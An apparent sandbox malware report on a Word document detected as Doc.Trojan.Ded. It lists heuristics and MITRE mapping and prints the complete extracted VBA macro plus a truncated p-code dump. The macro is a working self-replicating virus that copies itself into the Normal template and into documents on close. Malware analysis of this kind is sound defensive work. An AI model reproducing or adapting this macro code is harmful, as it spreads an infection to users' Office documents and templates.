MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is an Office document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic and the presence of the 'macros.bas' file. The VBA code appears to be attempting to modify the document's VBA project and potentially the Normal template, which is a common technique for malware persistence or payload delivery. The ClamAV detections further confirm its malicious nature.
Heuristics 2
-
ClamAV: Doc.Trojan.Ded-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ded-3
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6465 bytes |
SHA-256: de816062493ea94baf1d47f4a64c89ee17f543a8709cc7978ad30027e809031e |
|||
|
Detection
ClamAV:
Doc.Trojan.Ded-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error GoTo skam
Options.VirusProtection = True
SWLABS99
skam:
End Sub
Private Sub SWLABS99()
If Not ActiveDocument.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
For i = 1 To NormalTemplate.VBProject.VBComponents(1).codemodule.CountOfLines
d = NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1)
If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
While Mid(d, Len(d) - 1, 2) = " _"
i = i + 1
d = Left(d, Len(d) - 1) & NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1)
Wend
ActiveDocument.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d
End If
Next i
ActiveDocument.SaveAs AddToRecentFiles:=False
Else
If Not NormalTemplate.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
For i = 1 To ActiveDocument.VBProject.VBComponents(1).codemodule.CountOfLines
d = ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1)
If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
While Mid(d, Len(d) - 1, 2) = " _"
i = i + 1
d = Left(d, Len(d) - 1) & ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1)
Wend
NormalTemplate.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d
End If
Next i
NormalTemplate.Save
End If
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/d51821eefc674d6988b85bc98d92c4fc.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2991 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError skam
' Line #2:
' LitVarSpecial (True)
' Ld Options
' MemSt VirusProtection
' Line #3:
' ArgsCall SWLABS99 0x0000
' Line #4:
' Label skam
' Line #5:
' EndSub
' Line #6:
' FuncDefn (Private Sub SWLABS99())
' Line #7:
' LitStr 0x000E "Document_Close"
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x03E8
' LitDI2 0x03E8
' LitVarSpecial (False)
' LitVarSpecial (False)
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Find 0x0007
' Not
' IfBlock
' Line #8:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' MemLd CountOfLines
' For
' Line #9:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' St d
' Line #10:
' Ld d
' FnLen
' LitDI2 0x0000
' Gt
' Ld d
' LitStr 0x0001 " "
' Eq
' Not
' And
' Ld d
' LitStr 0x0002 " _"
' Eq
' Not
' And
' Ld d
' LitStr 0x0000 ""
' Eq
' Not
' And
' Ld d
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 "'"
' Eq
' Not
' And
' IfBlock
' Line #11:
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' LitDI2 0x0002
' ArgsLd Mid$ 0x0003
' LitStr 0x0002 " _"
' Eq
' While
' Line #12:
' Ld i
' LitDI2 0x0001
' Add
' St i
' Line #13:
' Ld d
' Ld d
' FnLen
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' ArgsMemLd Lines 0x0002
' Concat
' St d
' Line #14:
' Wend
' Line #15:
' Ld i
' LitDI2 0x0002
' Mul
' Ld d
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.